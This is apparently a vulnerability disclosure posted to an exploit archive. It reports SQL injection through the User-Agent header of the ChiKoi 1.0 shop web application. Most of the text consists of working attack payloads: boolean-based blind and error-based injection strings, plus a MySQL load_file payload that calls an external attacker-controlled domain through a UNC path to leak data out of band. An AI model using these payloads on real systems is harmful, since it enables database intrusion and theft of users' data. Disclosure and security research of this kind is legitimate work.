ChiKoi 1.0 SQL Injection

## Title: ChiKoi-1.0 SQLi## Author: nu11secur1ty## Date: 01.12.2023## Vendor: https://chikoiquan.tanhongit.com/## Software: https://github.com/tanhongit/new-mvc-shop/releases/tag/v1.0## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/tanhongit/2023/ChiKoi## Description:The `User-Agent` HTTP header appears to be vulnerable to SQL injection attacks.The payload '+(selectload_file('\\\\v3z9cjkbngnzrm7piruwhl6olfr8fzknbqzlmba0.glumar.com\\quv'))+'was submitted in the User-Agent HTTP header.This payload injects a SQL sub-query that calls MySQL's load_filefunction with a UNC file path that references a URL on an externaldomain.The attacker can steal all information from this system and canseriously harm the users of this system,such as extracting bank accounts through which they pay each other, etc.## STATUS: HIGH Vulnerability - CRITICAL[+] Payload:```MySQL---Parameter: User-Agent (User-Agent)    Type: boolean-based blind    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)    Payload: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.1.9)Gecko/20100315 Firefox/3.5.9 (.NET CLR 3.5.30729)' WHERE 2474=2474 AND9291=(SELECT (CASE WHEN (9291=9291) THEN 9291 ELSE (SELECT 4553 UNIONSELECT 6994) END))-- -    Type: error-based    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY orGROUP BY clause (FLOOR)    Payload: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.1.9)Gecko/20100315 Firefox/3.5.9 (.NET CLR 3.5.30729)' WHERE 4578=4578 AND(SELECT 8224 FROM(SELECT COUNT(*),CONCAT(0x71706b7171,(SELECT(ELT(8224=8224,1))),0x716a6a6271,FLOOR(RAND(0)*2))x FROMINFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- VCWR---```[+] Online:```MySQL---Parameter: User-Agent (User-Agent)    Type: boolean-based blind    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)    Payload: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1)Gecko/20060601 Firefox/2.0 (Ubuntu-edgy)' WHERE 8386=8386 AND8264=(SELECT (CASE WHEN (8264=8264) THEN 8264 ELSE (SELECT 2322 UNIONSELECT 6426) END))-- ----```## Reproduce:[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/tanhongit/2023/ChiKoi)## Proof and Exploit:[href](https://streamable.com/7x69yz)## Time spent`01:30:00`## Writing an exploit`00:05:00`